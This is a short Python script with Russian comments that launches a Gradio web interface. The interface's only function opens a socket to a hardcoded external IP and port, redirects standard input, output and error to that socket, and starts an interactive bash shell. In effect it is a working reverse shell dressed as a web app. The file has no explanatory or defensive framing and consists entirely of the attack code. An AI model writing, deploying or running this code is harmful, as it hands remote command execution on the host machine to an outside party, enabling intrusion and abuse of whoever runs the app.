import gradio as gr import socket import subprocess import os def start_reverse_shell(): # IP и порт, на который будет отправлен реверси шел RHOST = '45.155.205.202' # Замените на IP вашей машины RPORT = 9000 # Замените на порт вашей машины # Создаем сокет s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((RHOST, RPORT)) # Перенаправляем стандартные потоки ввода/вывода/ошибок в сокет os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) # Запускаем шел subprocess.call(["/bin/bash", "-i"]) return "Reverse shell started!" # Создаем интерфейс Gradio iface = gr.Interface(fn=start_reverse_shell, inputs=None, outputs="text", live=True) # Запускаем интерфейс iface.launch()